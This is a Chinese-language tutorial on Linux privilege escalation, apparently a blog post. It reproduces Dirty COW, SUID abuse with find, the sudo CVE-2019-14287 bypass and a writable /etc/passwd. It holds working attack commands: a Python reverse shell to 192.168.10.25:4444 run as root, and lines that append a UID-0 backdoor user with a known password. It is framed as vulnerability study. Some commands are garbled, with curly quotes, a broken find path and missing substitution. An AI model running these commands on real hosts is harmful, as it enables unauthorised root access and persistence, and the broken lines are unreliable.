脏牛提权漏洞复现
漏洞内容:
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。
uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本
漏洞范围:
Linux kernel >= 2.6.22
Linux提权的前提:
拿到了一个低权限的账号
能上传和下载文件
机器上有python、java、perl等环境(非必须项)
漏洞危害
黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。
利用条件
黑客通过远程入侵获取低权限用户后,才能进一步在操作系统本地利用该漏洞
1.首先,使用***id***查看一下当前的用户权限,使用***uname -a***命令查看linux内核信息,发现版本为2.6.24在脏牛漏洞范围内,可以进行测试
2.将exp下载到本地. 手动下载,拖进去即可
3.发现可以执行,使用***gcc -pthread dirty.c -o dirty -lcrypt***命令对dirty.c进行编译,生成一个dirty的可执行文件。
- ./dirty 密码命令 ./dirty 123456/owl/
- 使用获得的账号密码登陆,查看用户权限
suid提权
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
以下命令可以发现系统上运行的所有SUID可执行文件。
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null
find命令提权
1.先看看当前权限 whoami
2.输入指令 查看具有root用户权限的SUID文件 find / -perm -u=s -type f 2>/dev/null
我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件
3.需要配合find命令(寻找文件)。所以先创建个测试文件吧
(普通用户的话,进入到/tmp目录下,然后新建一个文件)
touch test
user/bin/find test -exec whoami ;
4.或者可以尝试反弹。(另一种方法)
5.然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境
6.于是我们以root用户的身份利用python反弹shell,
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’ #反弹一个sh类型的shell
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
Centos sudo提权
Sudo提权
Sudo提权漏洞(CVE-2019-14287)
漏洞背景
2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。
sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。
CVE-2019-14287 是管理员在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。
漏洞影响版本
sudo < 1.8.28
利用条件
-
sudo的版本号<1.8.28
-
知道当前用户的密码
-
当前用户存在于sudo权限列表
第一点和第二点比较好容易理解,那么第三点当前用户存在于sudo权限列表这个怎么理解呢?
当 /etc/sudoers 文件存在如下形式的配置会导致漏洞的产生 -
我们在/etc/sudoers配置文件中加上这一行
-
huahua ALL=(ALL, !root) ALL
-
输入 sudo whoami
Linux配置错误提权
还有就是利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权:
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。
接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。
首先,查看 /etc/passwd 的权限,发现任何用户都可以读写。
1.输入指令 ls -lh /etc/passwd
有关于 /etc/passwd 文件里面数据的每个属性
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
2.首先,使用perl语言生成带有盐值的密码:密码为password@123
perl -le 'print crypt(“password@123”,“addedsalt”)'
然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
echo “test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash” >>/etc/passwd
4.用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限
- 以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。
useradd -popenssl passwd -1 -salt 'user' 123qwe
-u 0 -o -g root -G root -s /bin/bash -d /home/user venus